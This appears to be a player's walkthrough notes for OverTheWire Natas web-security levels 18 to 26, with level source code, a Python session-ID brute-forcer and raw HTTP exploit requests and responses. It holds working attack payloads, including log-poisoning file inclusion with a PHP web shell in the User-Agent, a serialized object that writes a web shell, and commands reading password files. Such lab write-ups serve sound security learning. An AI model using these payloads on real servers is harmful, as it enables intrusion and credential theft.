# 119# <html># <head># <!-- This stuff in the header has nothing to do with the level --># <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"># <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /># <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /># <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script># <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script># <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script># <script>var wechallinfo = { "level": "natas18", "pass": "<credential-redacted>" };</script></head># <body># <h1>natas18</h1># <div id="content"># You are an admin. The credentials for the next level are:<br><pre>Username: natas19# Password: <credential-redacted></pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div># </div># </body># </html>
# <credential-redacted>[credential redacted]
level 18->level 19
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
Please login with your admin account to retrieve credentials for natas20.#!/usr/bin/env python
import requestsimport string
PASSLEN = 32url = "http://natas19.natas.labs.overthewire.org/index.php"auth = ("natas19", "<credential-redacted>")
# PHPSESSID:3139352d61646d696e# from hex: 195-admin## i = 1## a = f"{i}-admin"# cookie={'PHPSESSID':f'{a.encode().hex()}'}# print(cookie)# response=requests.post(url=url,cookies=cookie,auth=auth)# print(response.text)# print(len(response.text))33 collapsed lines
l=1029
sta=0sta=231
for i in range(sta,641): a = f"{i}-admin" cookie={'PHPSESSID':f'{a.encode().hex()}'} print(f'{i} {cookie}') response=requests.post(url=url,cookies=cookie,auth=auth) if len(response.text) != l: print(response.text) exit()
# 281 {'PHPSESSID': '3238312d61646d696e'}# <html># <head># <!-- This stuff in the header has nothing to do with the level --># <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"># <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /># <link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /># <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script># <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script># <script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script># <script>var wechallinfo = { "level": "natas19", "pass": "<credential-redacted>" };</script></head># <body># <h1>natas19</h1># <div id="content"># <p># <b># This page uses mostly the same code as the previous level, but session IDs are no longer sequential...# </b># </p># You are an admin. The credentials for the next level are:<br><pre>Username: natas20# Password: <credential-redacted></pre></div># </body># </html>#
# <credential-redacted>[credential redacted]
level 19->level 20
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas20", "pass": "<censored>" };</script></head><body><h1>natas20</h1><div id="content"><?php
function debug($msg) { /* {{{ */ if(array_key_exists("debug", $_GET)) { print "DEBUG: $msg<br>"; }}102 collapsed lines
/* }}} */function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas21\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21."; }}/* }}} */
/* we don't need this */function myopen($path, $name) { //debug("MYOPEN $path $name"); return true;}
/* we don't need this */function myclose() { //debug("MYCLOSE"); return true;}
function myread($sid) { debug("MYREAD $sid"); if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return ""; } $filename = session_save_path() . "/" . "mysess_" . $sid; if(!file_exists($filename)) { debug("Session file doesn't exist"); return ""; } debug("Reading from ". $filename); $data = file_get_contents($filename); $_SESSION = array(); foreach(explode("\n", $data) as $line) { debug("Read [$line]"); $parts = explode(" ", $line, 2); if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1]; } return session_encode() ?: "";}
function mywrite($sid, $data) { // $data contains the serialized version of $_SESSION // but our encoding is better debug("MYWRITE $sid $data"); // make sure the sid is alnum only!! if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) { debug("Invalid SID"); return; } $filename = session_save_path() . "/" . "mysess_" . $sid; $data = ""; debug("Saving in ". $filename); ksort($_SESSION); foreach($_SESSION as $key => $value) { debug("$key => $value"); $data .= "$key $value\n"; } file_put_contents($filename, $data); chmod($filename, 0600); return true;}
/* we don't need this */function mydestroy($sid) { //debug("MYDESTROY $sid"); return true;}/* we don't need this */function mygarbage($t) { //debug("MYGARBAGE $t"); return true;}
session_set_save_handler( "myopen", "myclose", "myread", "mywrite", "mydestroy", "mygarbage");session_start();
if(array_key_exists("name", $_REQUEST)) { $_SESSION["name"] = $_REQUEST["name"]; debug("Name set to " . $_REQUEST["name"]);}
print_credentials();
$name = "";if(array_key_exists("name", $_SESSION)) { $name = $_SESSION["name"];}
?>
<form action="index.php" method="POST">Your name: <input name="name" value="<?=$name?>"><br><input type="submit" value="Change name" /></form><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>name=admin%0Aadmin 1
PHPSESSID=<natas-session>
DEBUG: MYREAD <natas-session>DEBUG: Reading from /var/lib/php/sessions/mysess_<natas-session>DEBUG: Read [name admin ]DEBUG: Read [admin 1]DEBUG: Read []DEBUG: Name set to admin admin 1You are an admin. The credentials for the next level are:
Username: natas21Password: <credential-redacted>
Your name:View sourcecodeDEBUG: MYWRITE <natas-session> name|s:14:"admin admin 1";admin|s:1:"1";DEBUG: Saving in /var/lib/php/sessions/mysess_<natas-session>DEBUG: admin => 1DEBUG: name => admin admin 1
<credential-redacted>[credential redacted]
level 20->level 21
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas21", "pass": "<censored>" };</script></head><body><h1>natas21</h1><div id="content"><p><b>Note: this website is colocated with <a href="http://natas21-experimenter.natas.labs.overthewire.org">http://natas21-experimenter.natas.labs.overthewire.org</a></b></p>
<?php
function print_credentials() { /* {{{ */ if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas22\n"; print "Password: <censored></pre>"; } else { print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas22."; }}/* }}} */
session_start();print_credentials();
?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>second page
<html> <head> <link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css" /> </head> <body> <h1>natas21 - CSS style experimenter</h1> <div id="content"> <p> <b >Note: this website is colocated with <a href="http://natas21.natas.labs.overthewire.org" >http://natas21.natas.labs.overthewire.org</a ></b > </p> <?php session_start(); // if update was submitted, store it23 collapsed lines
if(array_key_exists("submit", $_REQUEST)) { foreach($_REQUEST as $key => $val) { $_SESSION[$key] = $val; } } if(array_key_exists("debug", $_GET)) { print "[DEBUG] Session contents:<br />"; print_r($_SESSION); } // only allow these keys $validkeys = array("align" => "center", "fontsize" => "100%", "bgcolor" => "yellow"); $form = ""; $form .= ' <form action="index.php" method="POST"> '; foreach($validkeys as $key => $defval) { $val = $defval; if(array_key_exists($key, $_SESSION)) { $val = $_SESSION[$key]; } else { $_SESSION[$key] = $val; } $form .= "$key: <input name="$key" value="$val" /><br />"; } $form .= '<input type="submit" name="submit" value="Update" />'; $form .= ' </form> '; $style = "background-color: ".$_SESSION["bgcolor"]."; text-align: ".$_SESSION["align"]."; font-size: ".$_SESSION["fontsize"].";"; $example = " <div style="$style">Hello world!</div> "; ?>
<p>Example:</p> <?=$example?>
<p>Change example values here:</p> <?=$form?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div> </div> </body></html>request to get cookie
POST http://natas21-experimenter.natas.labs.overthewire.org/index.php HTTP/1.1host: natas21-experimenter.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Referer: http://natas21-experimenter.natas.labs.overthewire.org/index.php?debugContent-Type: application/x-www-form-urlencodedcontent-length: 65Origin: http://natas21-experimenter.natas.labs.overthewire.orgAuthorization: Basic bmF0YXMyMTpCUGh2NjNjS0UxbGtRbDA0Y0U1Q3VGVHpYZTE1TmZpSA==Connection: keep-aliveCookie: PHPSESSID=<natas-session>Upgrade-Insecure-Requests: 1Priority: u=0, i
align=center&fontsize=100%25&bgcolor=yellow&submit=Update&admin=1change cookie with above
GET http://natas21.natas.labs.overthewire.org/ HTTP/1.1host: natas21.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Authorization: Basic bmF0YXMyMTpCUGh2NjNjS0UxbGtRbDA0Y0U1Q3VGVHpYZTE1TmZpSA==Connection: keep-aliveCookie: PHPSESSID=<natas-session>Upgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0
# responseYou are an admin. The credentials for the next level are:<br><pre>Username: natas22Password: <credential-redacted>[credential redacted]
level 21->level 22
http://natas22.natas.labs.overthewire.org/
<?phpsession_start();
if(array_key_exists("revelio", $_GET)) { // only admins can reveal the password if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) { header("Location: /"); }}?>
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />12 collapsed lines
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas22", "pass": "<censored>" };</script></head><body><h1>natas22</h1><div id="content">
<?php if(array_key_exists("revelio", $_GET)) { print "You are an admin. The credentials for the next level are:<br>"; print "<pre>Username: natas23\n"; print "Password: <censored></pre>"; }?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>GET http://natas22.natas.labs.overthewire.org/?revelio HTTP/1.1host: natas22.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Authorization: Basic bmF0YXMyMjpkOHJ3R0JsMFhzbGczYjc2dWgzZkViU2xuT1VCbG96eg==Connection: keep-aliveUpgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0Cookie: PHPSESSID=<natas-session>
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas22", "pass": "<credential-redacted>" };</script></head><body><h1>natas22</h1><div id="content">
You are an admin. The credentials for the next level are:<br><pre>Username: natas23Password: <credential-redacted></pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
<credential-redacted>[credential redacted]
level 22->level 23
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas23", "pass": "<censored>" };</script></head><body><h1>natas23</h1><div id="content">
Password:<form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"></form>
<?php if(array_key_exists("passwd",$_REQUEST)){ if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas24 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>strstr
GET http://natas23.natas.labs.overthewire.org/?passwd=999iloveyou999 HTTP/1.1host: natas23.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Authorization: Basic bmF0YXMyMzpkSVVRY0kzdVN1czFKRU9TU1dSQUVYQkc4S2JSOHRScw==Connection: keep-aliveReferer: http://natas23.natas.labs.overthewire.org/?passwd=iloveyouUpgrade-Insecure-Requests: 1Priority: u=0, i
HTTP/1.1 200 OKDate: Thu, 31 Jul 2025 12:04:16 GMTServer: Apache/2.4.58 (Ubuntu)Vary: Accept-EncodingContent-Length: 1154Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8
19 collapsed lines
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas23", "pass": "<credential-redacted>" };</script></head><body><h1>natas23</h1><div id="content">
Password:<form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"></form>
<br>The credentials for the next level are:<br><pre>Username: natas24 Password: <credential-redacted></pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
<credential-redacted>[credential redacted]
level 23->level 24
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas24", "pass": "<censored>" };</script></head><body><h1>natas24</h1><div id="content">
Password:<form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"></form>
<?php if(array_key_exists("passwd",$_REQUEST)){ if(!strcmp($_REQUEST["passwd"],"<censored>")){ echo "<br>The credentials for the next level are:<br>"; echo "<pre>Username: natas25 Password: <censored></pre>"; } else{ echo "<br>Wrong!<br>"; } } // morla / 10111?><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>strcmp
GET http://natas24.natas.labs.overthewire.org/?passwd%5B%5D=a HTTP/1.1host: natas24.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Authorization: Basic bmF0YXMyNDpNZXVxbWZKOERES3VUcjVwY3Z6RktTd2x4ZWRaWUVXZA==Connection: keep-aliveReferer: http://natas24.natas.labs.overthewire.org/Upgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0
HTTP/1.1 200 OKDate: Thu, 31 Jul 2025 12:12:42 GMTServer: Apache/2.4.58 (Ubuntu)Vary: Accept-EncodingContent-Length: 1300Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-822 collapsed lines
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas24", "pass": "<credential-redacted>" };</script></head><body><h1>natas24</h1><div id="content">
Password:<form name="input" method="get"> <input type="text" name="passwd" size=20> <input type="submit" value="Login"></form>
<br /><b>Warning</b>: strcmp() expects parameter 1 to be string, array given in <b>/var/www/natas/natas24/index.php</b> on line <b>23</b><br /><br>The credentials for the next level are:<br><pre>Username: natas25 Password: <credential-redacted></pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
<credential-redacted>[credential redacted]
level 24->level 25
<html><head><!-- This stuff in the header has nothing to do with the level --><link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css"><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" /><link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" /><script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script><script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script><script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script><script>var wechallinfo = { "level": "natas25", "pass": "<censored>" };</script></head><body><?php // cheers and <3 to malvina // - morla
function setLanguage(){ /* language setup */ if(array_key_exists("lang",$_REQUEST)) if(safeinclude("language/" . $_REQUEST["lang"] )) return 1;60 collapsed lines
safeinclude("language/en"); }
function safeinclude($filename){ // check for directory traversal if(strstr($filename,"../")){ logRequest("Directory traversal attempt! fixing request."); $filename=str_replace("../","",$filename); } // dont let ppl steal our passwords if(strstr($filename,"natas_webpass")){ logRequest("Illegal file access detected! Aborting!"); exit(-1); } // add more checks...
if (file_exists($filename)) { include($filename); return 1; } return 0; }
function listFiles($path){ $listoffiles=array(); if ($handle = opendir($path)) while (false !== ($file = readdir($handle))) if ($file != "." && $file != "..") $listoffiles[]=$file;
closedir($handle); return $listoffiles; }
function logRequest($message){ $log="[". date("d.m.Y H::i:s",time()) ."]"; $log=$log . " " . $_SERVER['HTTP_USER_AGENT']; $log=$log . " \"" . $message ."\"\n"; $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a"); fwrite($fd,$log); fclose($fd); }?>
<h1>natas25</h1><div id="content"><div align="right"><form><select name='lang' onchange='this.form.submit()'><option>language</option><?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?></select></form></div>
<?php session_start(); setLanguage();
echo "<h2>$__GREETING</h2>"; echo "<p align=\"justify\">$__MSG"; echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";?><p><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>LFI log
GET http://natas25.natas.labs.overthewire.org/?lang=en HTTP/1.1host: natas25.natas.labs.overthewire.orgUser-Agent: <?php system($_GET['cmd']); ?>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==Connection: keep-aliveReferer: http://natas25.natas.labs.overthewire.org/?lang=deCookie: PHPSESSID=<natas-session>Upgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0
....//....//....//....//....//var/www/natas/natas25/logs/natas25_[your_session_id].log
GET http://natas25.natas.labs.overthewire.org/?lang=....//....//....//....//....//var/www/natas/natas25/logs/natas25_<natas-session>.log&cmd=cat%20/etc/natas_webpass/natas26 HTTP/1.1host: natas25.natas.labs.overthewire.orgUser-Agent: <?php system($_GET['cmd']); ?>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.542 collapsed lines
Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==Connection: keep-aliveReferer: http://natas25.natas.labs.overthewire.org/?lang=deCookie: PHPSESSID=<natas-session>Upgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0
HTTP/1.1 200 OKDate: Thu, 31 Jul 2025 12:47:28 GMTServer: Apache/2.4.58 (Ubuntu)Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheVary: Accept-EncodingContent-Length: 1729Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8
<html>...<body>
<h1>natas25</h1><div id="content"><div align="right"><form><select name='lang' onchange='this.form.submit()'><option>language</option><option>en</option><option>de</option></select></form></div>
[31.07.2025 12::44:56] Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0 "Directory traversal attempt! fixing request."[31.07.2025 12::47:28] <credential-redacted> "Directory traversal attempt! fixing request."<br /><b>Notice</b>: Undefined variable: __GREETING in <b>/var/www/natas/natas25/index.php</b> on line <b>80</b><br /><h2></h2><br /><b>Notice</b>: Undefined variable: __MSG in <b>/var/www/natas/natas25/index.php</b> on line <b>81</b><br /><p align="justify"><br /><b>Notice</b>: Undefined variable: __FOOTER in <b>/var/www/natas/natas25/index.php</b> on line <b>82</b><br /><div align="right"><h6></h6><div><p><div id="viewsource"><a href="index-source.html">View sourcecode</a></div></div></body></html>
<credential-redacted>[credential redacted]
level 25->level 26
<?phpclass Logger{ private $logFile; private $initMsg; private $exitMsg;
function __construct($file) { // initialise variables $this->initMsg = "#--session started--#\n"; $this->exitMsg = "#--session end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message $fd = fopen($this->logFile, "a+"); fwrite($fd, $this->initMsg); fclose($fd); }
105 collapsed lines
function log($msg) { $fd = fopen($this->logFile, "a+"); fwrite($fd, $msg . "\n"); fclose($fd); }
function __destruct() { // write exit message $fd = fopen($this->logFile, "a+"); fwrite($fd, $this->exitMsg); fclose($fd); }}
function showImage($filename){ if (file_exists($filename)) echo "<img src=\"$filename\">";}
function drawImage($filename){ $img = imagecreatetruecolor(400, 300); drawFromUserdata($img); imagepng($img, $filename); imagedestroy($img);}
function drawFromUserdata($img){ if ( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET) ) {
$color = imagecolorallocate($img, 0xff, 0x12, 0x1c); imageline( $img, $_GET["x1"], $_GET["y1"], $_GET["x2"], $_GET["y2"], $color ); }
if (array_key_exists("drawing", $_COOKIE)) { /////////////////////////////////////////////////////////// $drawing = unserialize(base64_decode($_COOKIE["drawing"])); /////////////////////////////////////////////////////////// if ($drawing) foreach ($drawing as $object) if ( array_key_exists("x1", $object) && array_key_exists("y1", $object) && array_key_exists("x2", $object) && array_key_exists("y2", $object) ) {
$color = imagecolorallocate($img, 0xff, 0x12, 0x1c); imageline( $img, $object["x1"], $object["y1"], $object["x2"], $object["y2"], $color ); } }}
function storeData(){ $new_object = array();
if ( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET) ) { $new_object["x1"] = $_GET["x1"]; $new_object["y1"] = $_GET["y1"]; $new_object["x2"] = $_GET["x2"]; $new_object["y2"] = $_GET["y2"]; }
if (array_key_exists("drawing", $_COOKIE)) { $drawing = unserialize(base64_decode($_COOKIE["drawing"])); } else { // create new array $drawing = array(); }
$drawing[] = $new_object; setcookie("drawing", base64_encode(serialize($drawing)));}
session_start();
if ( array_key_exists("drawing", $_COOKIE) || (array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))) { $imgfile = "img/natas26_" . session_id() . ".png"; drawImage($imgfile); showImage($imgfile); storeData();}
?>unserialize, magic method
<?php$a = "YToyOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMiI7czoyOiJ4MiI7czoxOiIzIjtzOjI6InkyIjtzOjE6IjQiO31pOjE7YTo0OntzOjI6IngxIjtzOjE6IjUiO3M6MjoieTEiO3M6MToiNSI7czoyOiJ4MiI7czoxOiI1IjtzOjI6InkyIjtzOjE6IjUiO319";
$drawing = unserialize(base64_decode($a));
var_dump($drawing)
?>
array(2) { [0]=> array(4) { ["x1"]=> string(1) "1" ["y1"]=> string(1) "2" ["x2"]=> string(1) "3" ["y2"]=> string(1) "4" } [1]=> array(4) { ["x1"]=> string(1) "5" ["y1"]=> string(1) "5" ["x2"]=> string(1) "5" ["y2"]=> string(1) "5" }}<?phpclass Logger { private $logFile = "img/shell.php"; // 写入路径 private $initMsg = ""; // 初始消息(不需要) private $exitMsg = "<?php system(\$_GET['cmd']); ?>"; // webshell内容}
$payload = serialize(new Logger());echo base64_encode($payload);?>
Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=# up payloadGET http://natas26.natas.labs.overthewire.org/ HTTP/1.1host: natas26.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Referer: http://natas26.natas.labs.overthewire.org/Authorization: Basic bmF0YXMyNjpjVlhYd3hNUzNZMjZuNVVaVTg5UWdwR21XQ2VsYVFsRQ==Connection: keep-aliveCookie: PHPSESSID=<natas-session>; drawing=Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=Upgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0
# useGET http://natas26.natas.labs.overthewire.org/img/shell.php?cmd=cat%20/etc/natas_webpass/natas27 HTTP/1.1host: natas26.natas.labs.overthewire.orgUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Referer: http://natas26.natas.labs.overthewire.org/Authorization: Basic bmF0YXMyNjpjVlhYd3hNUzNZMjZuNVVaVTg5UWdwR21XQ2VsYVFsRQ==Connection: keep-aliveCookie: PHPSESSID=<natas-session>; drawing=Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czoxMzoiaW1nL3NoZWxsLnBocCI7czoxNToiAExvZ2dlcgBpbml0TXNnIjtzOjA6IiI7czoxNToiAExvZ2dlcgBleGl0TXNnIjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=Upgrade-Insecure-Requests: 1Priority: u=0, icontent-length: 0
HTTP/1.1 200 OKDate: Fri, 01 Aug 2025 02:49:37 GMTServer: Apache/2.4.58 (Ubuntu)Content-Length: 66Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=UTF-8
<credential-redacted>[credential redacted]
level 26->level 27
<html><body><h1>natas27</h1><div id="content"><?php
// morla / 10111// database gets cleared every 5 min
/*CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL);*/
